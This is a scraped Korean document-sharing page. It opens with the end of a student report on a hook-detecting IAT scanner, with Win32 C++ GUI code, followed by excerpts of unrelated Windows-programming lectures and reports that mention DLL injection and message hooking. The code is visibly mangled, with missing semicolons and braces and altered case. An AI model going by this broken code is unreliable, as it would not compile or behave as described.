26 LPNMHDR hdr; LPNMLISTVIEW nlv; hdr = (LPNMHDR)lParam nlv = (LPNMLISTVIEW)lParam if (hdr->hwndfrom == hlist2) switch (hdr->code) case NM_DBLCLK: if (nlv->iitem < 0) return 0; HWND Info = CreateDialog(g_hInst, MAKEINTRESOURCE(IDD_VIEW), hwnd, DetailDlgProc); Detail1 = GetDlgItem(Info, IDC_DLLBOX); Detail2 = GetDlgItem(Info, IDC_FUCBOX); int i; TCHAR arr[255] = 0, ; ListView_GetItemText(hList2, nlv->iitem, 0, arr, 255); for (i = 0; i < PIDsize; i++) if (!wcscmp(pname[i], arr)) break PrintFuc(Ppath[i], i); return 0; case WM_PAINT:// 항상글자출력 PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hWnd, &ps); SetBkColor(hdc, RGB(255, 255, 255)); TextOut(hdc, 15, 30, TEXT("Current Running Process"), lstrlen(text("current Running Process"))); TextOut(hdc, 740, 25, TEXT("Hooking Detecting"), lstrlen(text("hooking Detecting"))); TextOut(hdc, 10, 290, TEXT("Copyright(C) 2016 D.N.F All rights reserved"), lstrlen(text("copyright(c) 2016 D.N.F All rights reserved"))); OnPaint(hdc, L"C:\\resource\\logo.png", 810, 263);

27 OnPaint(hdc, L"C:\\resource\\teamD.png", 650, 267); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); break return DefWindowProc(hWnd, imessage, wparam, lparam); ( 코드 3. IATScanner) 4. 결론 ( 그림 5. 탐지화면 ) 왼쪽 Current Running Process 목록을보게되면현재실행되고있는프로세스목록을볼수가있고오른쪽위에 Hooking Detecting 시작을누르게되면현재실행되고있는모든프로세스에대해서함수이름에 Hook 을사용하고있는지스캔하게된다. 오른쪽프로세스들은사용하고있는함수에 Hook" 을사용하고있는프로세스들이다. 즉의심목록이되겠다. 의심목록에서해당프로세스를더블클릭을하게되면해당프로세스의 DLL들과 DLL에서사용된함수들을볼수있다. 현재우리가만든 D.N.F_Attack이탐지된걸볼수있다.

28 ( 그림.6 Hook Detected) D.N.F_Attack 프로세스를두번클릭하게되면자세히보기창이뜨고여기서다시 "Hook" 이라는함수가포함된다면그림과같이빨간색으로해당함수를표시하게해놓았다. 6. 참고문헌 (1) 위키백과인용 (2) 리버싱핵심원리 - 이승원지음참고 (3) MSDN 참고 7. 발표 ppt 자료

29

30

31

32

33

34

35

1장 윈도우 프로그래밍 들어가기

1장 윈도우 프로그래밍 들어가기 1 장 윈도우프로그래밍들어가기 김성영교수 금오공과대학교 컴퓨터공학부 예제 다음프로그램은언제종료할까? #include #define QUIT -1 int Func(void) int i; cout > i; return i; void main(void) int Sum = 0, i; cout

More information

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D> 01 : 윈도우프로그래밍기초 학습목표 윈도우운영체제와윈도우응용프로그램의특징을이해한다. SDK 응용프로그램작성과정, 기본구조, 동작원리를이해한다. MFC 응용프로그램작성과정, 기본구조, 동작원리를이해한다. 비주얼 C++ 개발환경사용법을익힌다. 윈도우운영체제특징 (1/3) 그래픽사용자인터페이스 1 윈도우운영체제특징 (2/3) 메시지구동구조 이벤트발생... 대기

More information

MFC 프로그래밍

MFC 프로그래밍 윈도우프로그래밍 Visual C++ 2010 MFC Programming 1 장. 윈도우프로그래밍기초 윈도우운영체제의특징 그래픽사용자인터페이스 시스템메뉴타이틀바메뉴최소 / 최대 / 닫기버튼 툴바 대화상자 클라이언트영역 상태표시줄 스크롤바 윈도우운영체제의특징 메시지구동구조 윈도우운영체제의특징 멀티태스킹과멀티스레딩 멀티태스킹 (Multitasking) 운영체제가여러개의응용프로그램을동시에실행

More information

Microsoft PowerPoint - 09-CE-14-리스트콤보박스

Microsoft PowerPoint - 09-CE-14-리스트콤보박스 순천향대학교컴퓨터학부이상정 1 학습내용 리스트박스컨트롤 다이얼로그와리스트박스 콤보박스컨트롤 순천향대학교컴퓨터학부이상정 2 리스트박스컨트롤 순천향대학교컴퓨터학부이상정 3 리스트박스컨트롤 사용자가선택할수있는항목들을여러개나열해두고선택할수있는컨트롤 윈도우클래스의이름은 "listbox" 생성예 hlist=createwindow(l"listbox",null,ws_child

More information

Microsoft PowerPoint - hci2-lecture1.ppt

Microsoft PowerPoint - hci2-lecture1.ppt Overview 윈도우프로그래밍기초 윈도우운영체제와윈도우응용프로그램의특징이해 SDK 응용프로그램작성과정, 기본구조, 동작원리이해 MFC 응용프로그램작성과정, 기본구조, 동작원리이해 HCI Programming 2 (321190) 2007년가을학기 9/13/2007 박경신 2 윈도우운영체제특징 그래픽사용자인터페이스 (Graphical User Interface,

More information

2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 중부대학교정보보호학과

2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 중부대학교정보보호학과 2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 2014. 5 중부대학교정보보호학과 목 차 1. 프로젝트설명 1 2. 연구계획 1 2.1 연구목적 1 2.2 연구방법 2 2.3 연구개요 2 2.4 연구구성도 3 3. 연구프로그램구축 5 3.1 주요소스 5 3.2 실행결과

More information

Microsoft PowerPoint - hci2-lecture1.ppt

Microsoft PowerPoint - hci2-lecture1.ppt Overview 윈도우프로그래밍기초 윈도우운영체제와윈도우응용프로그램의특징이해 SDK 응용프로그램작성과정, 기본구조, 동작원리이해 MFC 응용프로그램작성과정, 기본구조, 동작원리이해 HCI Programming 2 (321190) 2008년가을학기 9/16/2008 박경신 2 Windows.NET 구조적프로그램에서객체지향프로그램으로 SDK(Software Development

More information

Microsoft PowerPoint - 04windows.ppt

Microsoft PowerPoint - 04windows.ppt Game Programming I Windows 프로그래밍 (1) March 27, 2006 목표 윈도우프로그래밍에서이용되는이벤트구동프로그래밍모델의이해 Direct3D 를이용하는윈도우어플리케이션의작성을위한최소한의코드이해 윈도우 (Win32) 어플리케이션 Direct3D API ( 어플리케이션프로그래밍인터페이스 ) 를이용하기위해필요 Win32 API 를이용해작성

More information

윈도우 프로그래밍

윈도우 프로그래밍 Windows Programming 2013. 3 출처 : 인터넷에서수집한 PT 자료 1. Overview Getting Started (1) 관련도서 Visual C++/API 프로젝트따라하기, 오진환, 컴스페이스 Programming Windows, Charles Petzold, Microsoft Press Windows application Programming

More information

Microsoft PowerPoint - 09-CE-5-윈도우 핸들

Microsoft PowerPoint - 09-CE-5-윈도우 핸들 순천향대학교컴퓨터학부이상정 1 학습내용 윈도우핸들 윈도우찿기 윈도우확인및제거 윈도우숨기기 윈도우포커스 윈도우텍스트 윈도우핸들 순천향대학교컴퓨터학부이상정 3 핸들 (handle) 윈도우에서구체적인어떤대상을구분하기위해지정되는고유의번호 32비트의정수값 핸들은운영체제가발급하고사용자가이값을사용 실제값이무엇인지는몰라도상관없음 윈도우, DC, 브러쉬등등 순천향대학교컴퓨터학부이상정

More information

예제와 함께 배워보는 OllyDbg사용법

예제와 함께 배워보는 OllyDbg사용법 초보자를위한예제와함께 배워보는 OllyDbg 사용법 -1 부 - By Beist Security Study Group (http://beist.org) 요약 : 이문서는 Ollydbg 프로그램을이용하여 Reverse Engineering을하는방법에대해서다룬다. 초보자를위하여작성된문서이며예제와함께 Ollydbg의각기능에대해서알아본다. 주로기초적인내용을다루고있다.

More information

Microsoft PowerPoint - 09-CE-24-채팅 프로그램

Microsoft PowerPoint - 09-CE-24-채팅 프로그램 순천향대학교컴퓨터학부이상정 1 학습내용 사용자인터페이스 프로그램구성 TCP 연결설정프로그램 서버연결설정 클라이언트연결설정 TCP 데이터송수신 순천향대학교컴퓨터학부이상정 2 사용자인터페이스 순천향대학교컴퓨터학부이상정 3 1:1 채팅프로그램 한프로그램이동시에서버와클라이언트로동작 프로그램시작시서버로동작 서버소켓생성하고상대방접속요청대기 채팅을위한연결요청시클라이언트로동작

More information

Microsoft PowerPoint - 09-CE-25-오목게임

Microsoft PowerPoint - 09-CE-25-오목게임 순천향대학교컴퓨터학부이상정 1 학습내용 단순오목게임 인터넷오목게임 승부판정오목게임 순천향대학교컴퓨터학부이상정 2 단순오목게임 순천향대학교컴퓨터학부이상정 3 예제 49: 단순오목게임 스크린에바둑판을그리고, 스크린을터치하면해당위치에흰돌또는검은돌만표시 승부는판정하지않음 메뉴 ID_START, ID_EXIT 순천향대학교컴퓨터학부이상정 4 예제 49: 코드 (1) #define

More information

Chapter 1. MFC 시작하기

Chapter 1.  MFC 시작하기 Chapter 1. MFC 시작하기 1. MFC(Microsoft Foundation Class) 개요 2. Visual Studio 2015 프로그램설치하기 3. 마우스클릭프로그램작성 4. 그림그리기프로그램작성 5. 마우스좌표값구하기프로그램작성 1 1.1. MFC 개요 2 1.1.1. C++ 언어 객체지향언어 (Object-Oriented Programming,

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

5장 MFC기반 다지기

5장 MFC기반 다지기 5 장 MFC 기반다지기 김성영교수 금오공과대학교 컴퓨터공학부 들어가기 (1) pp.132 ~ 138 비주얼스튜디오에서 MFC 어플리케이션작성 참조 시스템메뉴 메뉴 최소 / 최대 / 닫기버튼 툴바 대화상자 클라이언트영역 (Client Area) 스크롤바 상태표시줄 2 들어가기 (2) 3 들어가기 (3) 4 들어가기 (4) 솔루션탐색기확인 WinMain() 함수가없다?

More information

2015 년정보보호학과졸업작품보고서 USB 를이용한 System Lock 및 File Security Service 팀명 : Team IU ( Intelligent USB ) 지도교수 : 양정모교수님 조장 : 조상일 유승우 조한슬 중부대학교정보보호학과

2015 년정보보호학과졸업작품보고서 USB 를이용한 System Lock 및 File Security Service 팀명 : Team IU ( Intelligent USB ) 지도교수 : 양정모교수님 조장 : 조상일 유승우 조한슬 중부대학교정보보호학과 2015 년정보보호학과졸업작품보고서 USB 를이용한 System Lock 및 File Security Service 팀명 : Team IU ( Intelligent USB ) 지도교수 : 양정모교수님 조장 : 조상일 유승우 조한슬 2015. 6 중부대학교정보보호학과 목 차 Ⅰ. 서론 Ⅰ-1. 프로젝트소개 Ⅰ-2. 연구활동배경 Ⅰ-3. 피해사례조사 Ⅱ. 본론

More information

윈도우즈 프로그래밍

윈도우즈 프로그래밍 윈도우프로그래밍및실습 002. 윈도우프로그래밍의기본 DB & MINING LAB. Korea University since 2007. 09. 03 updated 2012. 08. 18 last updated 2015. 08. 25 이종욱 eastwest9@korea.ac.kr 1 Purpose of this chapter What is a Window programming

More information

<33372DC0A9B5B5BFECC7C1B7CEB1D7B7A1B9D62E687770>

<33372DC0A9B5B5BFECC7C1B7CEB1D7B7A1B9D62E687770> 2010 학년도동계 계절수업시험문제지 출제위원 방송대김강현 학과명학번 - 성 명 감독관확인 ( 인 ) 교과목명 교과목코드 윈도우프로그래밍 3 7 출제범위 교재전체 ( 해당강의포함 ) 문항수 50 문항 [50 문항 2 점 =100 점 ] 유의사항 1. OMR 답안지및문제지인적사항표기는반드시컴퓨터용사인펜으로할것 2. 표기한답안은정정이일절불가하니답안표기에각별히유의할것

More information

IS119_Message.Hooking_이성재.hwp

IS119_Message.Hooking_이성재.hwp Message Hooking 이성재 einsstar@is119.jnu.ac.kr Content 1. 목적 1 2. 윈도우 NT 환경에서의메시지처리 2 2.1. 메시지큐를이용한메시지처리 3 2.2. 윈도우프로시저에직접메시지전달 3 3. 메시지후킹이란 3 3.1. 메시지후킹의개념정의 3 3.2. 메시지후킹의유포방법 3 4. 후킹프로시저제작 3 4.1. 사전지식

More information

Content 1. DLL? 그게뭐야?

Content 1. DLL? 그게뭐야? DLL Injection 은어떻게이루어지는가? By bl4ck3y3 (http://hisjournal.net/blog) Abstract 루트킷을비롯하여바이러스, 악성코드등여러분야에두루쓰이는기법이 DLL Injection입니다. Windows에한정되어적용되는것이지만, Windows 자체의점유율이높은이유로아주효과적으로공격자가원하는작업을수행할수있는방법이죠. 최근루트킷에대해공부하면서이

More information

최종보고서 SMT (System Monitoring Tool : 시스템자원모니터링툴 ) 팀명 : Point of C++ 팀장 : 한소라 (11학번) 팀원 : 이재익 (09학번) 한우영 (09학번) 김은지 (11학번) 지도교수 : 양정모교수님 - 1 -

최종보고서 SMT (System Monitoring Tool : 시스템자원모니터링툴 ) 팀명 : Point of C++ 팀장 : 한소라 (11학번) 팀원 : 이재익 (09학번) 한우영 (09학번) 김은지 (11학번) 지도교수 : 양정모교수님 - 1 - 최종보고서 SMT (System Monitoring Tool : 시스템자원모니터링툴 ) 팀명 : Point of C++ 팀장 : 한소라 (11학번) 팀원 : 이재익 (09학번) 한우영 (09학번) 김은지 (11학번) 지도교수 : 양정모교수님 - 1 - 목 차 1. 서론 1-1. 개발배경및목적... 3 1-2. 연구내용... 3 1-3. 개발환경... 3 2.

More information

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce DLL injection Written by Darawk 편역 : poc@securityproof.net * 이글은 Codebreakers Journal Vol.1, No.1, 2007 에서발표된것이며, 오역이나 오타가있을수있으니원문을참고시기바랍니다. 이문서에서, 나는프로세스에 dll을삽입하는알려진 ( 적어도내가아는한에서 ) 방법들모두를다룰것이다. Dll injection은

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Win32 API Windows Programming 1 http://idb.korea.ac.kr DB & Mining LAB. Korea Univ. 최종업데이트 : 2012. 08. 14 1 컴퓨터시스템의주요구성요소 2 2 컴퓨터하드웨어구성 Fetch : 메인메모리에저장되어있는명령어를 CPU 로 Decode : 컨트롤유닛에의해분석 Execution : ALU

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Microsoft PowerPoint - (제14강)Win32 API.ppt

Microsoft PowerPoint - (제14강)Win32 API.ppt 14. 파일입출력 1 1. 파일입출력 BOOL ReadFile( HANDLE hfile, LPVOID lpbuffer, DWORD nnumberofbytestoread, LPDWORD lpnumberofbytesread, LPOVERLAPPED lpoverlapped ); hfile : 데이터를읽을대상파일의핸들 lpbuffer : 읽은데이터를저장할버퍼 nnumberofbytestoread

More information

04장 메시지 처리 유형

04장 메시지 처리 유형 4 장 메시지처리유형 김성영교수 금오공과대학교 컴퓨터공학부 메시지처리유형 윈도우에서발생하는이벤트에대응하는윈도우메시지를처리 2 장및 3 장의실습예제 자식윈도우에서발생한이벤트를부모윈도우에서처리 WM_COMMAND 메시지처리 실습 4.2 자식윈도우에서발생한사건유형을구분하여처리 Notification code 처리 실습 4.7 Notification code 의한계를극복하여처리

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

윈도우즈 프로그래밍

윈도우즈 프로그래밍 윈도우프로그래밍및실습 003. 출력 DB & MINING LAB. Korea University 2 nd updated 2012. 08. 18 Last updated 2015. 08. 26 이종욱 eastwest9@korea.ac.kr 1 Purpose of this chapter How to show some information on your screen

More information

윈도우 프로그래밍의 개념

윈도우 프로그래밍의 개념 제 7 장컨트롤과리소스 I 7.1 리스트컨트롤실습 7-1 대화상자에리스트컨트롤만들기 7.2 트리컨트롤실습 7-2 대화상자에트리컨트롤만들기 컨트롤및리소스 리스트컨트롤 (List Control) 트리컨트롤 (Tree Control) 탭컨트롤 (Tab Control) 슬라이드컨트롤 (Slider Control) 스핀컨트롤 (Spin Control) 프로그레스바컨트롤

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

슬라이드 1

슬라이드 1 핚국산업기술대학교 제 14 강 GUI (III) 이대현교수 학습안내 학습목표 CEGUI 라이브러리를이용하여, 게임메뉴 UI 를구현해본다. 학습내용 CEGUI 레이아웃의로딩및렌더링. OIS 와 CEGUI 의연결. CEGUI 위젯과이벤트의연동. UI 구현 : 하드코딩방식 C++ 코드를이용하여, 코드내에서직접위젯들을생성및설정 CEGUI::PushButton* resumebutton

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

Microsoft PowerPoint - 09-CE-7-선과 도형

Microsoft PowerPoint - 09-CE-7-선과 도형 순천향대학교컴퓨터학부이상정 1 학습내용 디바이스컨텍스트 WM_PAINT 선, 도형그리기 GDI 객체 펜, 브러쉬 순천향대학교컴퓨터학부이상정 2 디바이스컨텍스트 순천향대학교컴퓨터학부이상정 3 디바이스컨텍스트 (1) 윈도우즈에서화면출력 ( 텍스트출력과차이점 ) 화면을사용할수있는권한이제약 자신이차지하는영역에만그림을그릴수있다. 좌표를계산하는방법이다르다 자기의윈도우즈의좌표를기준으로출력

More information

C프로-3장c03逞풚

C프로-3장c03逞풚 C h a p t e r 03 C++ 3 1 9 4 3 break continue 2 110 if if else if else switch 1 if if if 3 1 1 if 2 2 3 if if 1 2 111 01 #include 02 using namespace std; 03 void main( ) 04 { 05 int x; 06 07

More information

<312DBED5BACEBCD328B8D3B8AEB8BB2CB8F1C2F7292DBCF6C1A42E687770>

<312DBED5BACEBCD328B8D3B8AEB8BB2CB8F1C2F7292DBCF6C1A42E687770> 머 / 리 / 말 저자가 단계별로쉽게배우는 Visual C++ 6.0 책을출판한지도벌써 10년이지났습니다. 그동안많은대학에서교재로사용해주시면서많은교수님들과독자들의많은코멘트를받았습니다. 이제 Visual C++ 6.0은새로운운영체제에서호환성이떨어지고 Microsoft 사에서도더이상업그레이드를하지않고실행상의버그가수정되지않아사용상의많은문제점을가지고있었습니다. Visual

More information

Microsoft PowerPoint - (제15강)Win32 API.ppt

Microsoft PowerPoint - (제15강)Win32 API.ppt 15. 가상메모리, 프로세스 1 1. 메모리할당 가상메모리 OS는 4G 까지메모리 ( 단지주소공간, 물리적인메모리와연결가능성이있는메모리번지 ) 관리가능 사용하지않는부분은하드디스크의페이징파일에저장하여사용가능한 RAM을늘린다. (RAM+ 하드디스크의페이징파일 ) Win32에서추가된가상메모리할당함수들 1. 메모리를예약상태로할당할수있다. 예약이란물리적인메모리를소비하지않으면서주소공간만을미리할당해놓는방법을말한다.

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

Deok9_PE Structure

Deok9_PE Structure PE Structure CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 1. PE > 1) PE? 2) PE 3) PE Utility

More information

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API 개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로...2 2. 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API 함수소개 SetWindowsHookEx 함수 5 UnhookWindowsHookEx 함수 5

More information

슬라이드 1

슬라이드 1 파일 I/O 와디렉터리컨트롤 1 목차 기본적인파일처리 파일검색 파일열기 & 닫기 파일읽기 & 쓰기 삭제, 복사, 이동 (?) 파일의시간정보얻기 파일특성정보얻기 파일포인터 directory 생성 & 삭제 경로설정 경로얻기 2 파일생성 / 열기 HANDLE CreateFile ( LPCTSTR lpfilename, DWORD dwdesiredaccess, 파일이름

More information

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD> 2006 년 2 학기윈도우게임프로그래밍 제 8 강프레임속도의조절 이대현 한국산업기술대학교 오늘의학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용한다. FPS(Frame Per Sec)

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER 2) IMAGE_OPTIONAL_HEADER 3) IMAGE_DATA_DIRECTORY

목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER 2) IMAGE_OPTIONAL_HEADER 3) IMAGE_DATA_DIRECTORY 작성자 : 한서대학교 H.I.S.L 동아리진선호 sunho104@msn.com 본보고서의전부나일부를인용시반드시 [ 자료 : 한서대학교정보보호동아리 (H.I.S.L)] 를명시하여주시기바랍니다. - 1 - 목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER

More information

슬라이드 1

슬라이드 1 2007 년 2 학기윈도우게임프로그래밍 제 7 강프레임속도의조절 이대현 핚국산업기술대학교 학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용핚다. FPS(Frame Per Sec)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

윈도우즈 프로그래밍

윈도우즈 프로그래밍 7 장컨트롤 VS 2015 007. 윈도우프로그래밍 Updated 2010. 10. 11 Updated 2012. 09. 18 Updated 2015. 09. 15 http://idb.korea.ac.kr DB & Data Mining LAB. Korea University 이종욱 eastwest9@korea.ac.kr 1 7-1 컨트롤의정의 1 컨트롤 (control)

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont

12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont 12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다. 12.1 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont( in LPDIRECT3DDEVICE9 pdevice, in INT Height, in UINT

More information

윈도우즈 프로그래밍

윈도우즈 프로그래밍 8 장대화상자 VS 2015 008. 윈도우프로그래밍 DB & Mining LAB. Korea University Updated 2010. 10. 23 Updated 2012. 10. 02 Updated 2015. 09. 23 이종욱 eastwest9@korea.ac.kr 1 8-1 대화상자 (1/3) 사용자로부터끊임없이지시를받고사용자의지시에따라작업을하고 작업한결과를사용자에게보고한다.

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

